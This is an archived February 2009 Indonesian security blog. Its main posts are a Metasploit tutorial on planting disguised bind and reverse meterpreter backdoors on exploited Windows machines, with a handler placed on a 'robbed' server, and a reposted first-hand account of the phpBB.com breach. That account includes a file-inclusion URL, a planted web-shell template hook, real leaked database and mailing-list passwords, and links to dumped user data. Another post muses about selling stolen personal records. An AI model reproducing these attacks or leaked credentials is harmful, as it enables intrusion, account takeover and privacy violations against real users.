Archive for February, 2009

Metasploit: Backdooring

Sunday, February 22nd, 2009

Mungkin sebagian sudah ada yang tahu bahwa metasploit dapat digunakan untuk membuat backdoor, pernah juga disinggung pada toket edisi new year 2009. Penggunaan backdoor ini sangat berguna terutama sebagai post-exploitation method. Pada contoh kali ini kita akan memanfaatkan 2 metode dasar mendapatkan shell dari target, yaitu bind_tcp dan reverse_tcp.

Untuk bind_tcp, backdoor akan dijalankan pada terget dimana target akan membuka port pada sistemnya sendiri. Sehingga setelah proses exploitasi selesai, kita dapat masuk kapan saja ke target dengan memanfaatkan port yang telah dibuka oleh backdoor tersebut.

$ ./msfpayload windows/meterpreter/bind_tcp LPORT=4321 RHOST=10.10.96.143 EXITFUNC=thread X > MicrosoftDS.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
 Length: 307
Options: LPORT=4321,RHOST=10.10.96.143,EXITFUNC=thread

Backdoor tersebut akan membuka port 4321 pada target 10.10.96.143. Bagaimana proses menjalankan backdoor tersebut terserah kita, bisa jadi backdoor ditanam dan dijalankan setelah proses exploitasi selesai terhadap target seperti berikut:


msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 3 opened (10.10.97.14:31338 -> 10.10.96.143:4780)

meterpreter > cd \
meterpreter > pwd
C:\
meterpreter > upload MicrosoftDS.exe
[*] uploading  : MicrosoftDS.exe -> MicrosoftDS.exe
[*] uploaded   : MicrosoftDS.exe -> MicrosoftDS.exe
meterpreter > execute -f MicrosoftDS.exe -H
Process 2348 created.

Pada saat berikutnya, kita dapat masuk ke mesin target tanpa melakukan exploitasi ulang, cukup dengan membuka koneksi pada port yang telah didefinisikan berikutnya.


msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 4321
LPORT => 4321
msf exploit(handler) > set RHOST 10.10.96.143
RHOST => 10.10.96.143
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 2 opened (10.10.97.14:58798 -> 10.10.96.143:4321)

meterpreter >

Metode kedua menggunakan reverse shell, reverse shell digunakan terutama apabila network target dibatasi oleh firewall sehingga tidak bisa membuka koneksi ke semua port (tipikal internal network). Jadi jika kalian mendapatkan kesempatan untuk hacking ke salah satu mesin dalam internal network (misal: komputer sekolah, komputer kantor, komputer warnet, etc) serta tetap ingin mendapatkan akses shell tersebut kapanpun dan dimanapun bisa memanfaatkan multi-handler metasploit untuk menerima reverse shell. Kita bisa setup multi-handler di mesin-mesin yang dapat diakses dari manapun di internet, misalnya: mesin hosting, atau mesin server hasil rampokan, dsb.


msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------  

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port                        

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target  

msf exploit(handler) > set LPORT 53
LPORT => 53
msf exploit(handler) > set LHOST 222.124.199.76
LHOST => 222.124.199.76
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

Selanjutnya tinggal buat backdoor dengan kategori reverse_shell:


$ ./msfpayload windows/meterpreter/reverse_tcp LPORT=53 LHOST=222.124.199.76 EXITFUNC=thread X > MicrosoftDS.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 278
Options: LPORT=53,LHOST=222.124.199.76,EXITFUNC=thread
$ file MicrosoftDS.exe
MicrosoftDS.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit

Dan ketika dijalankan (dijalankan melalui sesi pasca exploitasi ataupun dijalankan secara manual lewat double-click mouse :P ), pada multi-handler akan muncul:


[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 3 opened (222.124.199.76:53 -> 10.10.96.143:4831)

meterpreter > 

Asyiknya menggunakan multi-handler metasploit adalah kita dapat memiliki banyak sessions sekaligus, untuk contoh diatas dapat dilihat satu multi-handler yang telah diset ExitOnSession==false dapat menghandle banyak reverse_shell sekaligus. Dan kita dapat berinteraksi dengan session-session tersebut kapanpun kita mau:


msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  3   Meterpreter  222.124.199.76:53 -> 10.10.96.146:4831
  4   Meterpreter  222.124.199.76:53 -> 10.10.96.223:4836
  5   Meterpreter  222.124.199.76:53 -> 10.10.96.215:4838
  6   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4840
  7   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4845
  8   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4846
  9   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4847  

msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer: PROGWAR
OS      : Windows XP (Build 2600, ).

Itulah beberapa contoh pemanfaatan metasploit untuk backdooring, masih banyak contoh-contoh kreatif lainnya terutama yang berbau kiddies dan evil-in-mind. Oh iya, pada contoh diatas saya menggunakan payload meterpreter berkali-kali. Pembahasan tentang meterpreter akan dilakukan berikutnya.

Stay tuned *heh, serasa pembawa acara opera sabun*

Again, Backtrack 4 Harddisk Installation

Tuesday, February 17th, 2009

Seperti biasa, proses instalasi Backtrack sangat-sangat simple terutama bagi para pengguna Gentoo dimana tehnik chroot dan konfigurasi boot loader bukan lagi menjadi hal yang aneh. Instalasi backtrack 4 ke harddisk secara umum dapat dilihat pada forum remote-exploit, sebagai tambahan instalasi Backtrack 4 pada MacBook dapat dilihat pada link ini.

Maltego 2.0.2

Friday, February 13th, 2009

Baru-baru ini paterva mengeluarkan rilis baru untuk maltego. Maltego sendiri pernah dibahas tahun lalu disini. Ada cukup banyak improvement yang dilakukan oleh team Roelof Tammingh dalam penyempurnaan Maltego.

Pada awalnya maltego merupakan tools simple untuk mencari hubungan antar objek seperti yang dijelaskan pada blog kecoak sebelumnya. Namun saat ini sudah proses discovery tidak terbatas pada hal-hal infrastruktur saja, namun sudah meliputi pen-testing hingga malware discovery. Ambil contoh kita memasukan object services berupa apache port 80, dengan transform untuk penetration testing akan ditemukan berbagai informasi yang berkaitan dengan apache port 80 ini, misalnya: listing exploit. Untuk malware transform kita juga akan sering mendapatkan hal-hal menarik, misalnya visualisasi sudah sejauh mana suatu malware menginfeksi korbannya, gambaran target dari daerah mana saja, malware tersebut berasal dari mana saja, dsb.

Hanya saja sayangnya beragam feature menarik tersebut tersedia pada commercial edition dimana kita harus mengeluarkan lebih dari $400 untuk licensenya. Tersedia community edition namun transform yang disediakan sangat terbatas, jadi jangan mengharapkan bisa melakukan discovery pen-testing jika hanya menggunakan community edition.

Diantara feature-feature baru yang hadir di rilis Maltego 2.0.2 ada satu feature yang menurut saya pribadi sangat berguna, dan ini bisa diakses walaupun hanya menggunakan community edition, yaitu local transform. Pada situs maltego terdapat spesifikasi untuk membuat local transform, gampangnya adalah kita bisa membuat suatu private transform sendiri (mis: input berupa nama seseorang dan outputnya adalah data berdasarkan informasi penduduk di Indonesia) dan hasilnya di visualisasikan dengan menggunakan Maltego, ataupun di jointkan hasilnya dengan hasil transform lain untuk mendapatkan informasi yang lebih banyak (mis: dari input nama, dapat alamat rumah, dapat website yang dikunjungi apa saja, dapat informasi kepemilikan account, dsb).

Pemanfaatan local transform menurut saya bisa jauh lebih ‘fun and profit’. Ambil contoh suatu kelompok berhasil masuk ke berbagai sistem dengan skill hackingnya, dan kelompok ini lebih tertarik untuk mengumpulkan beragam informasi yang dapat ditemukan pada sistem tersebut dibandingkan melakukan mass deface dengan memasang foto misterius yang diambil saat senja disuatu tempat hiburan dan dipamerkan pada media massa. Mereka melakukan kompilasi informasi-informasi tersebut pada format tertentu, meletakan nya pada suatu server, dan membuat local transform untuk menerima input dari via maltego yang kemudian memproses dan mengeluarkan hasil outputnya kembali via maltego dengan menggunakan database hasil hacking diatas.

Not clear enough?!data yang diambil bisa jadi kartu kredit, informasi email, alamat detail, jumlah anak, nama keluarga, data simpan pinjam, dsb. Yang tentu saja tidak terpublish di google (walaupun mungkin saja ada yg terpublish) dan tersimpan rapi pada suatu sistem. Atau bisa juga database berupa profile para peserta underground, hasil sniff dari forum-forum ataupun dari irc, yang kemudian di kompile dan di jual pada pemerintah. Pengguna tinggal memanfaatkan maltego untuk profiling seseorang atau suatu perusahaan dan suatu pihak dapat menjual private local transform tersebut dengan harga tertentu yang hasilnya dapat dilihat langsung melalui maltego.

Informasi maltego yang resmi dapat dilihat lebih lengkap pada situsnya.

Backtrack4 is released

Thursday, February 12th, 2009

Bisa langsung di download dari sini. Hello guys, what’s goin there?no discussion about new backtrack yet?

UPDATE: DNF memberikan link untuk download Backtrack 4 Versi shmoocon, versi yang hanya dirilis untuk shmoocon ini diklaim berbeda dengan release Backtrack 4 untuk umum. Untuk yang tertarik silahkan download langsung dari sini.

Google Scanning..?!

Tuesday, February 10th, 2009

Google adalah sebuah raksasa mesin pencari yang sampai sekarang tetap menjadi teman bagi siapapun yang bergelut di dunia internet. Iseng saya melihat-lihat kembali keyword yang biasa saya pakai untuk menengok beberapa informasi yang cukup (gak) penting. saya cukup surprise ketika saya memakai keyword ini (google hacking tetap menjadi salah satu option dalam langkah awal untuk prosess penetrasi/hacking/cracking). info ini cukup basi bagi sebagian orang, tapi menjadi tidak basi ketika anda tahu prosess selanjutnya :) .
Dengan info seperti diatas, google kadang-kadang lebih canggih dari pada Nmap sekalipun.

NB: para admin harusnya sadar, info berharga seperti itu harusnya dihapus jauh hari sebelum sistem digunakan sebagai mesin produksi

Peace ahh,

jackD

DDOS pada situs Metasploit dan Milw0rm

Sunday, February 8th, 2009

Sampai saat tulisan ini dibuat, metasploit dan milw0rm tidak bisa diakses. HDM memindahkan akses menuju metasploit ke port 8000, jadi bagi yang ingin akses metasploit untuk sementara bisa melalui link ini. Sedangkan milw0rm masih tetap down.


$ curl http://www.metasploit.com

ERROR: The requested URL could not be retrieved

ERROR

The requested URL could not be retrieved


While trying to retrieve the URL: www.metasploit.com/

The following error was encountered:

  • Request Timeout

The system returned:

A Timeout occurred while waiting to read data from the network. The network or server may be down or congested. Please retry your request.


$ curl http://www.milw0rm.com
curl: (6) Couldn't resolve host 'www.milw0rm.com'

Sementara itu HDM meng-klaim telah mengetahui pihak yang melakukan ddos dan redirect A record untuk metasploit.com ke forum pemilik botnet tersebut. Walaupun dia memberikan statement di irc bahwa koneksi sudah jauh berkurang dari 90 ribu per detik menjadi 500 per detik berkat countermeasure-nya namun saat tulisan ini dibuat situs metasploit masih belum dapat diakses.

DDOS tetap mainan yang sangat berbahaya hingga saat ini, dan aksi koleksi botnet (walaupun dengan gabungan beberapa metode) masih tetap masuk pilihan utama untuk melancarkan serangan DDOS.

PHPBB[dot]com was hacked

Friday, February 6th, 2009

Bisa langsung dilihat pada blog ini.

Berhubung sudah banyak informasi (ie. pastebin) yang di delete dengan cepat, maka informasi blog tersebut di-copy kesini sebagai archive siapa tahu suatu saat dihapus. Teknik yang digunakan cukup menarik, terutama karena dilancarkan terhadap situs yang produknya digunakan oleh ribuan orang diseluruh dunia.


Taken from: http://hackedphpbb.blogspot.com

It all started on Jan 14th when I was surfing milw0rm and came across this exploit: http://www.milw0rm.com/exploits/7778 I then remembered that phpbb.com was running PHPlist and went looking through my email to find the link to the script’s location. So I went to phpbb.com/lists and sure enough they were running a vulnerable version. Next I enabled my favorite program proxy program and tried http://www.phpbb.com/lists/admin/index.php?_SERVER%5bConfigFile%5d=../../../../../../etc/passwd and sure enough it included the etc/passwd

http://hackedphpbb.pastebin.com/f70f8bcaf
http://rapidshare.com/files/192159914/etc.txt

So I moved on to /etc/httpd/conf/httpd.conf
http://rapidshare.com/files/192163061/httpd.txt
http://hackedphpbb.pastebin.com/d29d8d4c7

And eventually found my way to their error log /home/logs/phpbb.com/error_log. After a little looking I figured out that their forums were running off /home/virtual/phpbb.com/community/ well it has been known for some time that you can include code in the error log. So I wanted to run some code, well in PHPBB3 the avatars are located in a folder called /home/virtual/phpbb.com/community/images/avatars/upload and your avatar is called (secret hash)_userid.jpg. But I didn’t know what the secret has was to include my picture (that had my own code in it) so by using the error log I injected code
And figured out that their hash is f51ee61fe7a83fdf72780912bced0855. So now every time I want to upload run code against the server I can include this: /../../../../../../home/virtual/phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg

So my first avatar was something simple and I wanted to see if phpbb kept their config file in plain text so cat /home/virtual/phpbb.com/community/config.php and sure enough, its in plain text.
$dbms = 'mysqli';
$dbhost = 'phpbb.db.osuosl.org';
$dbport = '';
$dbname = 'phpbb';
$dbuser = 'phpbb2';
$dbpasswd = 'saxM9nfRjLbJ2Yy5';
$table_prefix = 'community_';

While I was at it I checked out the config for PHPlist and it was also in plain text:
$database_host = "localhost";
$database_name = "phpbb_phplist";
$database_user = 'phplist';
$database_password = 'Berti3_Danc3';

So I started running commands and found out that I can upload a php text file on the forums and by finding where the path it was stored I was able to get around their 14kb restrictions on avatars and a lot easier than editing images with edjpgcom. So doing a mysql dump of the phplist_admin table it showed in plain text that the password for the one admin account was phpbb_n3ws and the login was phpBB. Wow I am shocked no one brute forced this. So I login and see what I can come across, wow 400,000 registered emails, I’m sure that will go quick on the black market, sorry people but expect a lot of spam. After trying to modify the files that were stored in PHPlist I gave up and moved on to the forums. But not before dumping the PHPlist emails here: http://rapidshare.com/files/192305758/out.txt

On the phpbb forums it states it has 200,000 members, but due to them constantly getting spammed they have well over 400,000 accounts. I started dumping the community_users table with their user_id, username and user_password. PHPBB stores their user’s passwords in unsalted md5 and their admin’s passwords in some funky hash. But if you run your own forum and are an admin you can have your forums create the hash, and then you do an mysql update to one of the admin account’s and your in. Or if you change their password to yours you can use the recover password function. More to come from this later.

So I wrote a script that submits via curl, the md5 hash to a website and then stores the successful result in my own mysql database. The total accounts cracked are: 28635. I could have continued cracking but it was getting boring. Here is a sql file of the cracked passwords. Warning, some of the user name’s aren’t right as I had to remove ticks and quotes for it to run in my script, so I included their user id so you can check their proper login name.
http://rapidshare.com/files/192304153/phpbb_users.sql

In gaining access to the admin panel of the forums, I was able to read staff forums and come across some interesting posts. I will share some with you.

List passwords:
TO try and make this easier, below is a list of the mailing list passwords I had, please update and add any others that you have

captcha-commits@lists.phpbb.com 54a946c47dd434b2
catdb-commits@lists.phpbb.com 6f543db8f086e11f
convertors-commits@lists.phpbb.com c192b68baacc8842
documentation-commits@lists.phpbb.com f85ffcdf9262420c
easymod-commits@lists.phpbb.com 5db5bf75be85191b
kbase-commits@lists.phpbb.com 7c843188ed2f6021
modteam-commits@lists.phpbb.com 533aeefe56bfa30c
prosilver-commits@lists.phpbb.com 859785a9cc724e03
website-commits@lists.phpbb.com 3c79b9864ae5ce43
phpbb-honey-commits@lists.phpbb.com 7e9563750650e4c4
st-tool-commits@lists.phpbb.com 534d4a9b74bb77aa
iit-track-commits@lists.phpbb.com 8f318ffd3a2067c8
packagemanager-commits@lists.phpbb.com 81657892dddafdca
moddocs-commits@lists.phpbb.com 85c837b7f78e5435

Told you they were random Meik ;) 

edit by dhn: added website-commits
edit by tm: added phpbb-honey-commits, st--tool-commits, iit-track-commits.

8kg;rt7Xykjq

That password should work for all mailing lists on code.phpbb.com.

Emergency contacts and irc info:
http://hackedphpbb.pastebin.com/f1399b3e8

And then I remembered that the admin panel allows you to dump tables. So I dumped the users table which is accessible here:
http://rapidshare.com/files/192261517/backup_sql.gz

Next I enabled php in template files and added this bit of code to one of the templates:
$ip=$_SERVER['REMOTE_ADDR']; if($ip == "x.x.x.x"){include("/home/virtual/phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f");}

Which happened to be a shell, R57shell actually. I then searched for a writable directory and created a php file and wrote the source code to that file. I cleaned up the template and settings and logs and left the forums to run the way they were.

After searching around using the shell I came across the Blog settings:
define('DB_NAME', 'wordpress'); // The name of the database
define('DB_USER', 'blog'); // Your MySQL username
define('DB_PASSWORD', 'htsCCvyCnt5jPYMx'); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

And now it comes to an end, you may ask why did I do this? For fun mainly, but what I would like to suggest to the team at phpbb is this. If you are going to run third party scripts, either integrate them or keep up to date on their patches. (even though the patch wasn’t released for 2 weeks). Also don’t allow admin’s to recover their passwords, they should have to contact another admin. Another item, doesn’t keep plain text files of passwords or in the database plain text passwords.

I know this isn’t the best read, but it is very hard to look back on everything you did over the course of a few weeks. But hopefully I can now sleep better knowing that I am not worrying about the next way to break in.

-----------------------------------UPDATE
to all that say i am a script kiddie, fuck you
phpbb, i did not alter any files on your server, everything i gained access to has been listed in this blog
--------------------------update
here are some updated links
http://www.2shared.com/file/4785295/67200bd7/phpbb.html

when i was talking about encrypted passwords, i ment when it was stored in PHPlist in plain text 

Watchout for Backtrack4 and Pentoo

Thursday, February 5th, 2009

Untuk yang belum tahu, distro security dari remote-exploit yang sangat populer akan mengeluarkan rilis terbarunya. Sepertinya sekarang ini para white-hat memang sangat gemar sekali menjadikan ajang security conference sebagai media PR, atau produk security hasil research yang dijadikan alat PR suatu security conference?well, yang pasti berdasarkan muts backtrack4 beta akan dapat segera di download setelah shmoocon berakhir.

In the other corner, pentoo, yang saat awal-awal distro security menjadi trend dikalangan security beberapa tahun lalu juga ikut menyumbangkan distro security berbasis Gentoo Linux, berencana untuk mengeluarkan rilis terbarunya dalam waktu dekat. Saya sendiri cukup kecewa karena pentoo tidak pernah terupdate lagi sejak rilis terakhirnya sekitar 2-3 tahun yang lalu, walaupun tidak sepopuler ataupun sematang backtrack namun kehadiran pentoo menjadi favorite tersendiri terutama bagi para pecinta gentoo.

Let see feature-feature baru apa saja yang muncul di distro-distro terbaru ini, feature GPU cracking sepertinya cukup membuat penasaran :)

UPDATE: download versi alpha pentoo disini. Dilihat sekilas, tidak banyak perbedaan dengan Backtrack versi lama, cukup kecewa dengan penanganan resolusi layarnya di MacBook via VMware :( .